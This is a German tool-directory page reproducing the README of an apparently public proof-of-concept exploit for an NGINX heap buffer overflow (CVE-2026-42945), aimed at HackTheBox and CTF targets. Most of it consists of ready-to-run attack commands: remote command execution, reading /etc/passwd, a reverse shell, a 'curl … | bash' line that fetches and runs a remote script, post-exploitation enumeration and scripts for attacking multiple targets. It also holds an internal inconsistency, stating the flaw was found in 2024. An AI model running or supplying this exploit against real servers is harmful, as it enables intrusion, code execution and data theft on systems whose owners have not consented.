Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42945-POC — Exploit für CVE-2026-42945 | Kitploit
Tools/GitHubGitHub/cipherspy/cve-2026-42945-poc
AufklärungPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsCommand and ControlLernen & BildungBinary-Exploitation
GitHubcipherspy/cve-2026-42945-poc

CVE-2026-42945-POC

54137vor 3 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Exploit für CVE-2026-42945

Repository anzeigen
Teilen

CVE-2026-42945 (NGINX Rift) – HTB-Ready Exploit

Eigenständiger Exploit für die NGINX Heap Buffer Overflow Schwachstelle, die 2024 entdeckt wurde. Diese Version ist für HackTheBox- und CTF-Umgebungen optimiert, in denen keine Docker-Container eingerichtet werden können.

Details zur Schwachstelle

CVE-2026-42945 ist ein kritischer Heap Buffer Overflow im ngx_http_rewrite_module von NGINX, der seit 2008 (Version 0.6.27) existiert. Der Fehler tritt auf, wenn:

  1. Eine rewrite-Direktive ? in der Ersetzung enthält (setzt is_args = 1)
  2. Eine set-Direktive einen Teil der URI erfasst
  3. Die Längenberechnung auf einer zurückgesetzten Sub-Engine erfolgt (sieht is_args = 0)
  4. Die Kopierphase auf der Haupt-Engine läuft (sieht is_args = 1)
  5. URI-Escaping Zeichen um das Dreifache erweitert, wodurch der zu kleine Puffer überläuft

Betroffene Versionen

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36

Behobene Versionen

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

Enthaltene Dateien

  1. nginx_rift_htb.py – Haupt-Exploit-Skript
  2. nginx_rift_helper.py – Aufklärungs- und Info-Leak-Helfer
  3. README.md – Diese Datei

Anforderungen

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# Keine zusätzlichen Python-Pakete erforderlich – nur stdlib!

Schnellstart

1. Prüfen, ob das Ziel verwundbar ist

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Dies wird:

  • Erkennen, ob NGINX läuft
  • Versuchen, die Version zu identifizieren
  • Den /api/-Endpunkt prüfen
  • Melden, ob das Ziel verwundbar erscheint

2. Aufklärung (Empfohlen)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

Dies führt Folgendes durch:

  • NGINX-Fingerprinting
  • Versionserkennung
  • Endpunkt-Entdeckung
  • Erkennung von Informationslecks
  • Verhaltensanalyse

3. Exploit ausführen

Einen Befehl ausführen:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Eine Reverse-Shell erhalten:

root@kitploit:~
# Zuerst Listener starten (in einem anderen Terminal)
nc -lvnp 4444

# Exploit ausführen
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Anwendungsbeispiele

Einfache Befehlsausführung

root@kitploit:~
# 'id'-Befehl ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# 'whoami' ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# /etc/passwd lesen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Reverse Shell

root@kitploit:~
# Terminal 1: Listener starten
nc -lvnp 4444

# Terminal 2: Exploit ausführen
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Benutzerdefinierte Adressen (falls ASLR deaktiviert ist oder Lecks vorhanden sind)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Erweiterte Optionen

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Den Exploit verstehen

Wie er funktioniert

  1. Heap Spray: Der Exploit sendet mehrere POST-Anfragen mit manipulierten Bodies, die eine gefälschte ngx_pool_cleanup_s-Struktur enthalten
  2. Overflow-Trigger: Sendet eine GET-Anfrage an /api/ mit einer speziell konstruierten URI, die beim Escapen überläuft
  3. Cleanup-Hook: Der Überlauf korrumpiert den Cleanup-Pointer eines benachbarten Pools, sodass er auf unsere gefälschte Struktur zeigt
  4. Code-Ausführung: Wenn der Pool zerstört wird, ruft er system() mit unserem Befehl auf

Wichtige Parameter

  • Ziel-Bytes: 6-Byte-Adressen, die nur URL-sichere Zeichen enthalten dürfen
  • Spray-Body: 4000-Byte-POST-Body mit gefälschter Cleanup-Struktur
  • Overflow-Payload: 349 'A' + 969 '+' Zeichen, die beim Escapen um das Dreifache vergrößert werden

ASLR-Überlegungen

Der Exploit geht davon aus, dass ASLR deaktiviert ist oder die Adressen bekannt sind. Auf HTB:

  • Manche Boxen deaktivieren ASLR für eine einfachere Ausnutzung
  • Andere erfordern das Finden eines Informationslecks
  • Das Hilfsskript kann bei der Aufklärung helfen

Falls ASLR aktiviert ist, kann Folgendes erforderlich sein:

  1. Ein Info-Leak in der Anwendung finden
  2. Brute-Force (erfordert viele Versuche)
  3. Partielle Overwrites (fortgeschritten)

Fehlerbehebung

"Das Ziel scheint kein NGINX auszuführen"

  • Überprüfen, ob das Ziel tatsächlich NGINX ausführt
  • Prüfen, ob der Port korrekt ist
  • Möglicherweise befindet es sich hinter einer WAF / einem Proxy

"Konnte den /api/-Endpunkt nicht bestätigen"

Die verwundbare Konfiguration erfordert:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • Der Exploit kann dennoch funktionieren, wenn rewrite+set woanders existieren
  • Andere gängige Pfade versuchen: /api/, /admin/, /internal/

"Alle Ausnutzungsversuche fehlgeschlagen"

Mögliche Gründe:

  1. ASLR ist aktiviert – Adressen werden randomisiert

    • Lösung: Info-Leak finden oder Brute-Force anwenden
  2. Andere libc-Version – system() an anderem Offset

    • Lösung: Alle Offsets mit --verbose testen
  3. Version nicht verwundbar – Behobene Version oder andere Konfiguration

    • Lösung: Version mit dem Hilfsskript überprüfen
  4. WAF/IDS blockiert – Sicherheitskontrollen vorhanden

    • Lösung: Evasion-Techniken könnten nötig sein
  5. Falscher Endpunkt – Verwendet nicht die rewrite+set-Kombination

    • Lösung: Den tatsächlich verwundbaren Endpunkt finden

Ausführlicher Modus

Immer --verbose zum Debuggen verwenden:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Dies zeigt:

  • Status jeder Spray-Anfrage
  • Verbindungsversuche
  • Timing des Overflow-Triggers
  • Logik zur Erkennung von Abstürzen

HTB-spezifische Tipps

Die eigene VPN-IP finden

root@kitploit:~
# Die tun0-IP finden
ip addr show tun0 | grep inet

# Diese IP für --lhost verwenden
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

Shell stabilisieren

Sobald der erste Zugriff besteht:

root@kitploit:~
# Upgrade auf TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Terminal in den Hintergrund legen und einstellen
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Übliche HTB-Enumeration nach der Shell

root@kitploit:~
# Aktuellen Benutzer prüfen
id
whoami

# Nach Flaggen suchen
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Sudo-Berechtigungen prüfen
sudo -l

# SUID-Binaries prüfen
find / -perm -4000 2>/dev/null

Erweiterte Nutzung

Benutzerdefinierte Payload-Erzeugung

Falls die Payload angepasst werden muss:

root@kitploit:~
# Die Funktion make_body() in nginx_rift_htb.py bearbeiten
# BODY_LEN für andere Konfigurationen anpassen
# Den Overflow-String ändern (349 'A' + 969 '+')

Mehrere Ziele

root@kitploit:~
# Eine Zielliste erstellen
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Jedes Ziel testen
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Automatisierte Ausnutzung

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starte Listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Führe Exploit aus..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Technische Details

Verwundbares Code-Muster

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Setzt is_args=1
    set $original_endpoint $1;                     # Allokiert basierend auf is_args=0
}

Ablauf der Ausnutzung

root@kitploit:~
1. Spray POST → Heap mit gefälschten Cleanup-Strukturen füllen
2. GET /api/AAAA...++++...X → Overflow auslösen
3. Overflow korrumpiert Cleanup-Pointer des benachbarten Pools
4. Pool zerstört → Ruft system(cmd) auf

Speicherlayout

root@kitploit:~
[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'

Referenzen

  • Original POC: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • Technical Write-up: https://depthfirst.com/research/nginx-rift
  • NGINX Advisory: https://my.f5.com/manage/s/article/K000160932
  • CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

Haftungsausschluss

Dieses Tool dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Die Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Danksagungen

  • Ursprüngliche Schwachstelle entdeckt von depthfirst
  • Original POC: p3Nt3st3r-sTAr
  • HTB-Adaption: Modifiziert für den eigenständigen Einsatz

Lizenz

Nur zu Bildungs-/Forschungszwecken. Verantwortungsvoll nutzen.

Tool herunterladen